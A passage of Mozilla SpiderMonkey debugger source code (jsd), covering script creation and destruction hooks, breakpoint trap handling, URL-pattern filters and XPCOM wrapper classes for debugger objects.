jsdscript->script, enable); JSD_UNLOCK(); JS_LeaveCrossCompartmentCall(call); return rv; } /***************************************************************************/ void jsd_NewScriptHookProc( JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun, void* callerdata ) { JSDScript* jsdscript = NULL; JSDContext* jsdc = (JSDContext*) callerdata; JSD_ScriptHookProc hook; void* hookData; JSD_ASSERT_VALID_CONTEXT(jsdc); if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return; JSD_LOCK_SCRIPTS(jsdc); jsdscript = _newJSDScript(jsdc, cx, script); JSD_UNLOCK_SCRIPTS(jsdc); if( ! jsdscript ) return; #ifdef JSD_DUMP JSD_LOCK_SCRIPTS(jsdc); _dumpJSDScript(jsdc, jsdscript, "***NEW Script: "); _dumpJSDScriptList( jsdc ); JSD_UNLOCK_SCRIPTS(jsdc); #endif /* JSD_DUMP */ /* local in case jsdc->scriptHook gets cleared on another thread */ JSD_LOCK(); hook = jsdc->scriptHook; if( hook ) jsdscript->flags = jsdscript->flags | JSD_SCRIPT_CALL_DESTROY_HOOK_BIT; hookData = jsdc->scriptHookData; JSD_UNLOCK(); if( hook ) hook(jsdc, jsdscript, JS_TRUE, hookData); } void jsd_DestroyScriptHookProc( JSFreeOp *fop, JSScript *script, void* callerdata ) { JSDScript* jsdscript = NULL; JSDContext* jsdc = (JSDContext*) callerdata; JSD_ScriptHookProc hook; void* hookData; JSD_ASSERT_VALID_CONTEXT(jsdc); if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindJSDScript(jsdc, script); JSD_UNLOCK_SCRIPTS(jsdc); if( ! jsdscript ) return; #ifdef JSD_DUMP JSD_LOCK_SCRIPTS(jsdc); _dumpJSDScript(jsdc, jsdscript, "***DESTROY Script: "); JSD_UNLOCK_SCRIPTS(jsdc); #endif /* JSD_DUMP */ /* local in case hook gets cleared on another thread */ JSD_LOCK(); hook = (jsdscript->flags & JSD_SCRIPT_CALL_DESTROY_HOOK_BIT) ? jsdc->scriptHook : NULL; hookData = jsdc->scriptHookData; JSD_UNLOCK(); if( hook ) hook(jsdc, jsdscript, JS_FALSE, hookData); JSD_LOCK_SCRIPTS(jsdc); JS_HashTableRemove(jsdc->scriptsTable, (void *)script); JSD_UNLOCK_SCRIPTS(jsdc); #ifdef JSD_DUMP JSD_LOCK_SCRIPTS(jsdc); _dumpJSDScriptList(jsdc); JSD_UNLOCK_SCRIPTS(jsdc); #endif /* JSD_DUMP */ } /***************************************************************************/ static JSDExecHook* _findHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc) { JSDExecHook* jsdhook; JSCList* list = &jsdscript->hooks; for( jsdhook = (JSDExecHook*)list->next; jsdhook != (JSDExecHook*)list; jsdhook = (JSDExecHook*)jsdhook->links.next ) { if (jsdhook->pc == pc) return jsdhook; } return NULL; } static JSBool _isActiveHook(JSDContext* jsdc, JSScript *script, JSDExecHook* jsdhook) { JSDExecHook* current; JSCList* list; JSDScript* jsdscript; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindJSDScript(jsdc, script); if( ! jsdscript) { JSD_UNLOCK_SCRIPTS(jsdc); return JS_FALSE; } list = &jsdscript->hooks; for( current = (JSDExecHook*)list->next; current != (JSDExecHook*)list; current = (JSDExecHook*)current->links.next ) { if(current == jsdhook) { JSD_UNLOCK_SCRIPTS(jsdc); return JS_TRUE; } } JSD_UNLOCK_SCRIPTS(jsdc); return JS_FALSE; } JSTrapStatus jsd_TrapHandler(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, jsval closure) { JSDExecHook* jsdhook = (JSDExecHook*) JSVAL_TO_PRIVATE(closure); JSD_ExecutionHookProc hook; void* hookData; JSDContext* jsdc; JSDScript* jsdscript; JSD_LOCK(); if( NULL == (jsdc = jsd_JSDContextForJSContext(cx)) || ! _isActiveHook(jsdc, script, jsdhook) ) { JSD_UNLOCK(); return JSTRAP_CONTINUE; } JSD_ASSERT_VALID_EXEC_HOOK(jsdhook); JS_ASSERT(!jsdhook->pc || jsdhook->pc == (uintptr_t)pc); JS_ASSERT(jsdhook->jsdscript->script == script); JS_ASSERT(jsdhook->jsdscript->jsdc == jsdc); hook = jsdhook->hook; hookData = jsdhook->callerdata; jsdscript = jsdhook->jsdscript; /* do not use jsdhook-> after this point */ JSD_UNLOCK(); if( ! jsdc || ! jsdc->inited ) return JSTRAP_CONTINUE; if( JSD_IS_DANGEROUS_THREAD(jsdc) ) return JSTRAP_CONTINUE; #ifdef LIVEWIRE if( ! jsdlw_UserCodeAtPC(jsdc, jsdscript, (uintptr_t)pc) ) return JSTRAP_CONTINUE; #endif return jsd_CallExecutionHook(jsdc, cx, JSD_HOOK_BREAKPOINT, hook, hookData, rval); } JSBool jsd_SetExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc, JSD_ExecutionHookProc hook, void* callerdata) { JSDExecHook* jsdhook; JSBool rv; JSCrossCompartmentCall *call; JSD_LOCK(); if( ! hook ) { jsd_ClearExecutionHook(jsdc, jsdscript, pc); JSD_UNLOCK(); return JS_TRUE; } jsdhook = _findHook(jsdc, jsdscript, pc); if( jsdhook ) { jsdhook->hook = hook; jsdhook->callerdata = callerdata; JSD_UNLOCK(); return JS_TRUE; } /* else... */ jsdhook = (JSDExecHook*)calloc(1, sizeof(JSDExecHook)); if( ! jsdhook ) { JSD_UNLOCK(); return JS_FALSE; } jsdhook->jsdscript = jsdscript; jsdhook->pc = pc; jsdhook->hook = hook; jsdhook->callerdata = callerdata; call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if(!call) { free(jsdhook); JSD_UNLOCK(); return JS_FALSE; } rv = JS_SetTrap(jsdc->dumbContext, jsdscript->script, (jsbytecode*)pc, jsd_TrapHandler, PRIVATE_TO_JSVAL(jsdhook)); JS_LeaveCrossCompartmentCall(call); if ( ! rv ) { free(jsdhook); JSD_UNLOCK(); return JS_FALSE; } JS_APPEND_LINK(&jsdhook->links, &jsdscript->hooks); JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc) { JSCrossCompartmentCall *call; JSDExecHook* jsdhook; JSD_LOCK(); jsdhook = _findHook(jsdc, jsdscript, pc); if( ! jsdhook ) { JSD_UNLOCK(); return JS_FALSE; } call = JS_EnterCrossCompartmentCallScript(jsdc->dumbContext, jsdscript->script); if(!call) { JSD_UNLOCK(); return JS_FALSE; } JS_ClearTrap(jsdc->dumbContext, jsdscript->script, (jsbytecode*)pc, NULL, NULL ); JS_LeaveCrossCompartmentCall(call); JS_REMOVE_LINK(&jsdhook->links); free(jsdhook); JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearAllExecutionHooksForScript(JSDContext* jsdc, JSDScript* jsdscript) { JSDExecHook* jsdhook; JSCList* list = &jsdscript->hooks; JSD_LOCK(); while( (JSDExecHook*)list != (jsdhook = (JSDExecHook*)list->next) ) { JS_REMOVE_LINK(&jsdhook->links); free(jsdhook); } /* No cross-compartment call here because we may be in the middle of GC */ JS_ClearScriptTraps(jsdc->dumbContext, jsdscript->script); JSD_UNLOCK(); return JS_TRUE; } JSBool jsd_ClearAllExecutionHooks(JSDContext* jsdc) { JSDScript* jsdscript; JSDScript* iterp = NULL; JSD_LOCK(); while( NULL != (jsdscript = jsd_IterateScripts(jsdc, &iterp)) ) jsd_ClearAllExecutionHooksForScript(jsdc, jsdscript); JSD_UNLOCK(); return JS_TRUE; } void jsd_ScriptCreated(JSDContext* jsdc, JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun) { jsd_NewScriptHookProc(cx, filename, lineno, script, fun, jsdc); } void jsd_ScriptDestroyed(JSDContext* jsdc, JSFreeOp *fop, JSScript *script) { jsd_DestroyScriptHookProc(fop, script, jsdc); } mozjs17.0.0/js/jsd/jsd_xpc.cpp0000664000175000017500000026401312106270662016140 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "jsdbgapi.h" #include "jslock.h" #include "jsd_xpc.h" #include "nsIXPConnect.h" #include "mozilla/ModuleUtils.h" #include "nsIServiceManager.h" #include "nsIScriptGlobalObject.h" #include "nsIObserver.h" #include "nsIObserverService.h" #include "nsICategoryManager.h" #include "nsIJSRuntimeService.h" #include "nsIThreadInternal.h" #include "nsThreadUtils.h" #include "nsMemory.h" #include "jsdebug.h" #include "nsReadableUtils.h" #include "nsCRT.h" #include "nsCycleCollectionParticipant.h" #include "mozilla/Attributes.h" /* XXX DOM dependency */ #include "nsIScriptContext.h" #include "nsIJSContextStack.h" /* * defining CAUTIOUS_SCRIPTHOOK makes jsds disable GC while calling out to the * script hook. This was a hack to avoid some js engine problems that should * be fixed now (see Mozilla bug 77636). */ #undef CAUTIOUS_SCRIPTHOOK #ifdef DEBUG_verbose # define DEBUG_COUNT(name, count) \ { if ((count % 10) == 0) printf (name ": %i\n", count); } # define DEBUG_CREATE(name, count) {count++; DEBUG_COUNT ("+++++ "name,count)} # define DEBUG_DESTROY(name, count) {count--; DEBUG_COUNT ("----- "name,count)} #else # define DEBUG_CREATE(name, count) # define DEBUG_DESTROY(name, count) #endif #define ASSERT_VALID_CONTEXT { if (!mCx) return NS_ERROR_NOT_AVAILABLE; } #define ASSERT_VALID_EPHEMERAL { if (!mValid) return NS_ERROR_NOT_AVAILABLE; } #define JSDSERVICE_CID \ { /* f1299dc2-1dd1-11b2-a347-ee6b7660e048 */ \ 0xf1299dc2, \ 0x1dd1, \ 0x11b2, \ {0xa3, 0x47, 0xee, 0x6b, 0x76, 0x60, 0xe0, 0x48} \ } #define JSDASO_CID \ { /* 2fd6b7f6-eb8c-4f32-ad26-113f2c02d0fe */ \ 0x2fd6b7f6, \ 0xeb8c, \ 0x4f32, \ {0xad, 0x26, 0x11, 0x3f, 0x2c, 0x02, 0xd0, 0xfe} \ } #define JSDS_MAJOR_VERSION 1 #define JSDS_MINOR_VERSION 2 #define NS_CATMAN_CTRID "@mozilla.org/categorymanager;1" #define NS_JSRT_CTRID "@mozilla.org/js/xpc/RuntimeService;1" #define AUTOREG_CATEGORY "xpcom-autoregistration" #define APPSTART_CATEGORY "app-startup" #define JSD_AUTOREG_ENTRY "JSDebugger Startup Observer" #define JSD_STARTUP_ENTRY "JSDebugger Startup Observer" static void jsds_GCSliceCallbackProc (JSRuntime *rt, js::GCProgress progress, const js::GCDescription &desc); /******************************************************************************* * global vars ******************************************************************************/ const char implementationString[] = "Mozilla JavaScript Debugger Service"; const char jsdServiceCtrID[] = "@mozilla.org/js/jsd/debugger-service;1"; const char jsdARObserverCtrID[] = "@mozilla.org/js/jsd/app-start-observer;2"; const char jsdASObserverCtrID[] = "service,@mozilla.org/js/jsd/app-start-observer;2"; #ifdef DEBUG_verbose uint32_t gScriptCount = 0; uint32_t gValueCount = 0; uint32_t gPropertyCount = 0; uint32_t gContextCount = 0; uint32_t gFrameCount = 0; #endif static jsdService *gJsds = 0; static js::GCSliceCallback gPrevGCSliceCallback = jsds_GCSliceCallbackProc; static bool gGCRunning = false; static struct DeadScript { PRCList links; JSDContext *jsdc; jsdIScript *script; } *gDeadScripts = nullptr; enum PatternType { ptIgnore = 0U, ptStartsWith = 1U, ptEndsWith = 2U, ptContains = 3U, ptEquals = 4U }; static struct FilterRecord { PRCList links; jsdIFilter *filterObject; void *glob; nsCString urlPattern; PatternType patternType; uint32_t startLine; uint32_t endLine; } *gFilters = nullptr; static struct LiveEphemeral *gLiveValues = nullptr; static struct LiveEphemeral *gLiveProperties = nullptr; static struct LiveEphemeral *gLiveContexts = nullptr; static struct LiveEphemeral *gLiveStackFrames = nullptr; /******************************************************************************* * utility functions for ephemeral lists *******************************************************************************/ already_AddRefed jsds_FindEphemeral (LiveEphemeral **listHead, void *key) { if (!*listHead) return nullptr; LiveEphemeral *lv_record = reinterpret_cast (PR_NEXT_LINK(&(*listHead)->links)); do { if (lv_record->key == key) { NS_IF_ADDREF(lv_record->value); return lv_record->value; } lv_record = reinterpret_cast (PR_NEXT_LINK(&lv_record->links)); } while (lv_record != *listHead); return nullptr; } void jsds_InvalidateAllEphemerals (LiveEphemeral **listHead) { LiveEphemeral *lv_record = reinterpret_cast (PR_NEXT_LINK(&(*listHead)->links)); do { LiveEphemeral *next = reinterpret_cast (PR_NEXT_LINK(&lv_record->links)); lv_record->value->Invalidate(); lv_record = next; } while (*listHead); } void jsds_InsertEphemeral (LiveEphemeral **listHead, LiveEphemeral *item) { if (*listHead) { /* if the list exists, add to it */ PR_APPEND_LINK(&item->links, &(*listHead)->links); } else { /* otherwise create the list */ PR_INIT_CLIST(&item->links); *listHead = item; } } void jsds_RemoveEphemeral (LiveEphemeral **listHead, LiveEphemeral *item) { LiveEphemeral *next = reinterpret_cast (PR_NEXT_LINK(&item->links)); if (next == item) { /* if the current item is also the next item, we're the only element, * null out the list head */ NS_ASSERTION (*listHead == item, "How could we not be the head of a one item list?"); *listHead = nullptr; } else if (item == *listHead) { /* otherwise, if we're currently the list head, change it */ *listHead = next; } PR_REMOVE_AND_INIT_LINK(&item->links); } /******************************************************************************* * utility functions for filters *******************************************************************************/ void jsds_FreeFilter (FilterRecord *rec) { NS_IF_RELEASE (rec->filterObject); PR_Free (rec); } /* copies appropriate |filter| attributes into |rec|. * False return indicates failure, the contents of |rec| will not be changed. */ bool jsds_SyncFilter (FilterRecord *rec, jsdIFilter *filter) { NS_ASSERTION (rec, "jsds_SyncFilter without rec"); NS_ASSERTION (filter, "jsds_SyncFilter without filter"); JSObject *glob_proper = nullptr; nsCOMPtr glob; nsresult rv = filter->GetGlobalObject(getter_AddRefs(glob)); if (NS_FAILED(rv)) return false; if (glob) { nsCOMPtr nsiglob = do_QueryInterface(glob); if (nsiglob) glob_proper = nsiglob->GetGlobalJSObject(); } uint32_t startLine; rv = filter->GetStartLine(&startLine); if (NS_FAILED(rv)) return false; uint32_t endLine; rv = filter->GetStartLine(&endLine); if (NS_FAILED(rv)) return false; nsCAutoString urlPattern; rv = filter->GetUrlPattern (urlPattern); if (NS_FAILED(rv)) return false; uint32_t len = urlPattern.Length(); if (len) { if (urlPattern[0] == '*') { /* pattern starts with a *, shift all chars once to the left, * including the trailing null. */ urlPattern = Substring(urlPattern, 1, len); if (urlPattern[len - 2] == '*') { /* pattern is in the format "*foo*", overwrite the final * with * a null. */ urlPattern.Truncate(len - 2); rec->patternType = ptContains; } else { /* pattern is in the format "*foo", just make a note of the * new length. */ rec->patternType = ptEndsWith; } } else if (urlPattern[len - 1] == '*') { /* pattern is in the format "foo*", overwrite the final * with a * null. */ urlPattern.Truncate(len - 1); rec->patternType = ptStartsWith; } else { /* pattern is in the format "foo". */ rec->patternType = ptEquals; } } else { rec->patternType = ptIgnore; } /* we got everything we need without failing, now copy it into rec. */ if (rec->filterObject != filter) { NS_IF_RELEASE(rec->filterObject); NS_ADDREF(filter); rec->filterObject = filter; } rec->glob = glob_proper; rec->startLine = startLine; rec->endLine = endLine; rec->urlPattern = urlPattern; return true; } FilterRecord * jsds_FindFilter (jsdIFilter *filter) { if (!gFilters) return nullptr; FilterRecord *current = gFilters; do { if (current->filterObject == filter) return current; current = reinterpret_cast (PR_NEXT_LINK(¤t->links)); } while (current != gFilters); return nullptr; } /* returns true if the hook should be executed. */ bool jsds_FilterHook (JSDContext *jsdc, JSDThreadState *state) { JSContext *cx = JSD_GetJSContext (jsdc, state); void *glob = static_cast(JS_GetGlobalObject (cx)); if (!glob) { NS_WARNING("No global in threadstate"); return false; } JSDStackFrameInfo *frame = JSD_GetStackFrame (jsdc, state); if (!frame) { NS_WARNING("No frame in threadstate"); return false; } JSDScript *script = JSD_GetScriptForStackFrame (jsdc, state, frame); if (!script) return true; uintptr_t pc = JSD_GetPCForStackFrame (jsdc, state, frame); nsCString url(JSD_GetScriptFilename (jsdc, script)); if (url.IsEmpty()) { NS_WARNING ("Script with no filename"); return false; } if (!gFilters) return true; uint32_t currentLine = JSD_GetClosestLine (jsdc, script, pc); uint32_t len = 0; FilterRecord *currentFilter = gFilters; do { uint32_t flags = 0; #ifdef DEBUG nsresult rv = #endif currentFilter->filterObject->GetFlags(&flags); NS_ASSERTION(NS_SUCCEEDED(rv), "Error getting flags for filter"); if (flags & jsdIFilter::FLAG_ENABLED) { /* if there is no glob, or the globs match */ if ((!currentFilter->glob || currentFilter->glob == glob) && /* and there is no start line, or the start line is before * or equal to the current */ (!currentFilter->startLine || currentFilter->startLine <= currentLine) && /* and there is no end line, or the end line is after * or equal to the current */ (!currentFilter->endLine || currentFilter->endLine >= currentLine)) { /* then we're going to have to compare the url. */ if (currentFilter->patternType == ptIgnore) return !!(flags & jsdIFilter::FLAG_PASS); if (!len) len = url.Length(); nsCString urlPattern = currentFilter->urlPattern; uint32_t patternLength = urlPattern.Length(); if (len >= patternLength) { switch (currentFilter->patternType) { case ptEquals: if (urlPattern.Equals(url)) return !!(flags & jsdIFilter::FLAG_PASS); break; case ptStartsWith: if (urlPattern.Equals(Substring(url, 0, patternLength))) return !!(flags & jsdIFilter::FLAG_PASS); break; case ptEndsWith: if (urlPattern.Equals(Substring(url, len - patternLength))) return !!(flags & jsdIFilter::FLAG_PASS); break; case ptContains: { nsACString::const_iterator start, end; url.BeginReading(start); url.EndReading(end); if (FindInReadable(currentFilter->urlPattern, start, end)) return !!(flags & jsdIFilter::FLAG_PASS); } break; default: NS_ERROR("Invalid pattern type"); } } } } currentFilter = reinterpret_cast (PR_NEXT_LINK(¤tFilter->links)); } while (currentFilter != gFilters); return true; } /******************************************************************************* * c callbacks *******************************************************************************/ static void jsds_NotifyPendingDeadScripts (JSRuntime *rt) { jsdService *jsds = gJsds; nsCOMPtr hook; if (jsds) { NS_ADDREF(jsds); jsds->GetScriptHook (getter_AddRefs(hook)); jsds->DoPause(nullptr, true); } DeadScript *deadScripts = gDeadScripts; gDeadScripts = nullptr; while (deadScripts) { DeadScript *ds = deadScripts; /* get next deleted script */ deadScripts = reinterpret_cast (PR_NEXT_LINK(&ds->links)); if (deadScripts == ds) deadScripts = nullptr; if (hook) { /* tell the user this script has been destroyed */ #ifdef CAUTIOUS_SCRIPTHOOK JS_UNKEEP_ATOMS(rt); #endif hook->OnScriptDestroyed (ds->script); #ifdef CAUTIOUS_SCRIPTHOOK JS_KEEP_ATOMS(rt); #endif } /* take it out of the circular list */ PR_REMOVE_LINK(&ds->links); /* addref came from the FromPtr call in jsds_ScriptHookProc */ NS_RELEASE(ds->script); /* free the struct! */ PR_Free(ds); } if (jsds) { jsds->DoUnPause(nullptr, true); NS_RELEASE(jsds); } } static void jsds_GCSliceCallbackProc (JSRuntime *rt, js::GCProgress progress, const js::GCDescription &desc) { if (progress == js::GC_CYCLE_END || progress == js::GC_SLICE_END) { NS_ASSERTION(gGCRunning, "GC slice callback was missed"); while (gDeadScripts) jsds_NotifyPendingDeadScripts (rt); gGCRunning = false; } else { NS_ASSERTION(!gGCRunning, "should not re-enter GC"); gGCRunning = true; } if (gPrevGCSliceCallback) (*gPrevGCSliceCallback)(rt, progress, desc); } static unsigned jsds_ErrorHookProc (JSDContext *jsdc, JSContext *cx, const char *message, JSErrorReport *report, void *callerdata) { static bool running = false; nsCOMPtr hook; gJsds->GetErrorHook(getter_AddRefs(hook)); if (!hook) return JSD_ERROR_REPORTER_PASS_ALONG; if (running) return JSD_ERROR_REPORTER_PASS_ALONG; running = true; nsCOMPtr val; if (JS_IsExceptionPending(cx)) { jsval jv; JS_GetPendingException(cx, &jv); JSDValue *jsdv = JSD_NewValue (jsdc, jv); val = getter_AddRefs(jsdValue::FromPtr(jsdc, jsdv)); } nsCAutoString fileName; uint32_t line; uint32_t pos; uint32_t flags; uint32_t errnum; bool rval; if (report) { fileName.Assign(report->filename); line = report->lineno; pos = report->tokenptr - report->linebuf; flags = report->flags; errnum = report->errorNumber; } else { line = 0; pos = 0; flags = 0; errnum = 0; } gJsds->DoPause(nullptr, true); hook->OnError (nsDependentCString(message), fileName, line, pos, flags, errnum, val, &rval); gJsds->DoUnPause(nullptr, true); running = false; if (!rval) return JSD_ERROR_REPORTER_DEBUG; return JSD_ERROR_REPORTER_PASS_ALONG; } static JSBool jsds_CallHookProc (JSDContext* jsdc, JSDThreadState* jsdthreadstate, unsigned type, void* callerdata) { nsCOMPtr hook; switch (type) { case JSD_HOOK_TOPLEVEL_START: case JSD_HOOK_TOPLEVEL_END: gJsds->GetTopLevelHook(getter_AddRefs(hook)); break; case JSD_HOOK_FUNCTION_CALL: case JSD_HOOK_FUNCTION_RETURN: gJsds->GetFunctionHook(getter_AddRefs(hook)); break; default: NS_ASSERTION (0, "Unknown hook type."); } if (!hook) return JS_TRUE; if (!jsds_FilterHook (jsdc, jsdthreadstate)) return JS_FALSE; JSDStackFrameInfo *native_frame = JSD_GetStackFrame (jsdc, jsdthreadstate); nsCOMPtr frame = getter_AddRefs(jsdStackFrame::FromPtr(jsdc, jsdthreadstate, native_frame)); gJsds->DoPause(nullptr, true); hook->OnCall(frame, type); gJsds->DoUnPause(nullptr, true); jsdStackFrame::InvalidateAll(); return JS_TRUE; } static uint32_t jsds_ExecutionHookProc (JSDContext* jsdc, JSDThreadState* jsdthreadstate, unsigned type, void* callerdata, jsval* rval) { nsCOMPtr hook(0); uint32_t hook_rv = JSD_HOOK_RETURN_CONTINUE; nsCOMPtr js_rv; switch (type) { case JSD_HOOK_INTERRUPTED: gJsds->GetInterruptHook(getter_AddRefs(hook)); break; case JSD_HOOK_DEBUG_REQUESTED: gJsds->GetDebugHook(getter_AddRefs(hook)); break; case JSD_HOOK_DEBUGGER_KEYWORD: gJsds->GetDebuggerHook(getter_AddRefs(hook)); break; case JSD_HOOK_BREAKPOINT: { /* we can't pause breakpoints the way we pause the other * execution hooks (at least, not easily.) Instead we bail * here if the service is paused. */ uint32_t level; gJsds->GetPauseDepth(&level); if (!level) gJsds->GetBreakpointHook(getter_AddRefs(hook)); } break; case JSD_HOOK_THROW: { hook_rv = JSD_HOOK_RETURN_CONTINUE_THROW; gJsds->GetThrowHook(getter_AddRefs(hook)); if (hook) { JSDValue *jsdv = JSD_GetException (jsdc, jsdthreadstate); js_rv = getter_AddRefs(jsdValue::FromPtr (jsdc, jsdv)); } break; } default: NS_ASSERTION (0, "Unknown hook type."); } if (!hook) return hook_rv; if (!jsds_FilterHook (jsdc, jsdthreadstate)) return JSD_HOOK_RETURN_CONTINUE; JSDStackFrameInfo *native_frame = JSD_GetStackFrame (jsdc, jsdthreadstate); nsCOMPtr frame = getter_AddRefs(jsdStackFrame::FromPtr(jsdc, jsdthreadstate, native_frame)); gJsds->DoPause(nullptr, true); jsdIValue *inout_rv = js_rv; NS_IF_ADDREF(inout_rv); hook->OnExecute (frame, type, &inout_rv, &hook_rv); js_rv = inout_rv; NS_IF_RELEASE(inout_rv); gJsds->DoUnPause(nullptr, true); jsdStackFrame::InvalidateAll(); if (hook_rv == JSD_HOOK_RETURN_RET_WITH_VAL || hook_rv == JSD_HOOK_RETURN_THROW_WITH_VAL) { *rval = JSVAL_VOID; if (js_rv) { JSDValue *jsdv; if (NS_SUCCEEDED(js_rv->GetJSDValue (&jsdv))) *rval = JSD_GetValueWrappedJSVal(jsdc, jsdv); } } return hook_rv; } static void jsds_ScriptHookProc (JSDContext* jsdc, JSDScript* jsdscript, JSBool creating, void* callerdata) { #ifdef CAUTIOUS_SCRIPTHOOK JSContext *cx = JSD_GetDefaultJSContext(jsdc); JSRuntime *rt = JS_GetRuntime(cx); #endif if (creating) { nsCOMPtr hook; gJsds->GetScriptHook(getter_AddRefs(hook)); /* a script is being created */ if (!hook) { /* nobody cares, just exit */ return; } nsCOMPtr script = getter_AddRefs(jsdScript::FromPtr(jsdc, jsdscript)); #ifdef CAUTIOUS_SCRIPTHOOK JS_UNKEEP_ATOMS(rt); #endif gJsds->DoPause(nullptr, true); hook->OnScriptCreated (script); gJsds->DoUnPause(nullptr, true); #ifdef CAUTIOUS_SCRIPTHOOK JS_KEEP_ATOMS(rt); #endif } else { /* a script is being destroyed. even if there is no registered hook * we'll still need to invalidate the jsdIScript record, in order * to remove the reference held in the JSDScript private data. */ nsCOMPtr jsdis = static_cast(JSD_GetScriptPrivate(jsdscript)); if (!jsdis) return; jsdis->Invalidate(); if (!gGCRunning) { nsCOMPtr hook; gJsds->GetScriptHook(getter_AddRefs(hook)); if (!hook) return; /* if GC *isn't* running, we can tell the user about the script * delete now. */ #ifdef CAUTIOUS_SCRIPTHOOK JS_UNKEEP_ATOMS(rt); #endif gJsds->DoPause(nullptr, true); hook->OnScriptDestroyed (jsdis); gJsds->DoUnPause(nullptr, true); #ifdef CAUTIOUS_SCRIPTHOOK JS_KEEP_ATOMS(rt); #endif } else { /* if a GC *is* running, we've got to wait until it's done before * we can execute any JS, so we queue the notification in a PRCList * until GC tells us it's done. See jsds_GCCallbackProc(). */ DeadScript *ds = PR_NEW(DeadScript); if (!ds) return; /* NS_ERROR_OUT_OF_MEMORY */ ds->jsdc = jsdc; ds->script = jsdis; NS_ADDREF(ds->script); if (gDeadScripts) /* if the queue exists, add to it */ PR_APPEND_LINK(&ds->links, &gDeadScripts->links); else { /* otherwise create the queue */ PR_INIT_CLIST(&ds->links); gDeadScripts = ds; } } } } /******************************************************************************* * reflected jsd data structures *******************************************************************************/ /* Contexts */ /* NS_IMPL_THREADSAFE_ISUPPORTS2(jsdContext, jsdIContext, jsdIEphemeral); NS_IMETHODIMP jsdContext::GetJSDContext(JSDContext **_rval) { *_rval = mCx; return NS_OK; } */ /* Objects */ NS_IMPL_THREADSAFE_ISUPPORTS1(jsdObject, jsdIObject) NS_IMETHODIMP jsdObject::GetJSDContext(JSDContext **_rval) { *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdObject::GetJSDObject(JSDObject **_rval) { *_rval = mObject; return NS_OK; } NS_IMETHODIMP jsdObject::GetCreatorURL(nsACString &_rval) { _rval.Assign(JSD_GetObjectNewURL(mCx, mObject)); return NS_OK; } NS_IMETHODIMP jsdObject::GetCreatorLine(uint32_t *_rval) { *_rval = JSD_GetObjectNewLineNumber(mCx, mObject); return NS_OK; } NS_IMETHODIMP jsdObject::GetConstructorURL(nsACString &_rval) { _rval.Assign(JSD_GetObjectConstructorURL(mCx, mObject)); return NS_OK; } NS_IMETHODIMP jsdObject::GetConstructorLine(uint32_t *_rval) { *_rval = JSD_GetObjectConstructorLineNumber(mCx, mObject); return NS_OK; } NS_IMETHODIMP jsdObject::GetValue(jsdIValue **_rval) { JSDValue *jsdv = JSD_GetValueForObject (mCx, mObject); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } /* Properties */ NS_IMPL_THREADSAFE_ISUPPORTS2(jsdProperty, jsdIProperty, jsdIEphemeral) jsdProperty::jsdProperty (JSDContext *aCx, JSDProperty *aProperty) : mCx(aCx), mProperty(aProperty) { DEBUG_CREATE ("jsdProperty", gPropertyCount); mValid = (aCx && aProperty); mLiveListEntry.value = this; jsds_InsertEphemeral (&gLiveProperties, &mLiveListEntry); } jsdProperty::~jsdProperty () { DEBUG_DESTROY ("jsdProperty", gPropertyCount); if (mValid) Invalidate(); } NS_IMETHODIMP jsdProperty::Invalidate() { ASSERT_VALID_EPHEMERAL; mValid = false; jsds_RemoveEphemeral (&gLiveProperties, &mLiveListEntry); JSD_DropProperty (mCx, mProperty); return NS_OK; } void jsdProperty::InvalidateAll() { if (gLiveProperties) jsds_InvalidateAllEphemerals (&gLiveProperties); } NS_IMETHODIMP jsdProperty::GetJSDContext(JSDContext **_rval) { *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdProperty::GetJSDProperty(JSDProperty **_rval) { *_rval = mProperty; return NS_OK; } NS_IMETHODIMP jsdProperty::GetIsValid(bool *_rval) { *_rval = mValid; return NS_OK; } NS_IMETHODIMP jsdProperty::GetAlias(jsdIValue **_rval) { JSDValue *jsdv = JSD_GetPropertyValue (mCx, mProperty); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdProperty::GetFlags(uint32_t *_rval) { *_rval = JSD_GetPropertyFlags (mCx, mProperty); return NS_OK; } NS_IMETHODIMP jsdProperty::GetName(jsdIValue **_rval) { JSDValue *jsdv = JSD_GetPropertyName (mCx, mProperty); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdProperty::GetValue(jsdIValue **_rval) { JSDValue *jsdv = JSD_GetPropertyValue (mCx, mProperty); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } /* Scripts */ NS_IMPL_THREADSAFE_ISUPPORTS2(jsdScript, jsdIScript, jsdIEphemeral) static NS_IMETHODIMP AssignToJSString(nsACString *x, JSString *str) { if (!str) { x->SetLength(0); return NS_OK; } size_t length = JS_GetStringEncodingLength(NULL, str); if (length == size_t(-1)) return NS_ERROR_FAILURE; x->SetLength(uint32_t(length)); if (x->Length() != uint32_t(length)) return NS_ERROR_OUT_OF_MEMORY; JS_EncodeStringToBuffer(str, x->BeginWriting(), length); return NS_OK; } jsdScript::jsdScript (JSDContext *aCx, JSDScript *aScript) : mValid(false), mTag(0), mCx(aCx), mScript(aScript), mFileName(0), mFunctionName(0), mBaseLineNumber(0), mLineExtent(0), mPPLineMap(0), mFirstPC(0) { DEBUG_CREATE ("jsdScript", gScriptCount); if (mScript) { /* copy the script's information now, so we have it later, when it * gets destroyed. 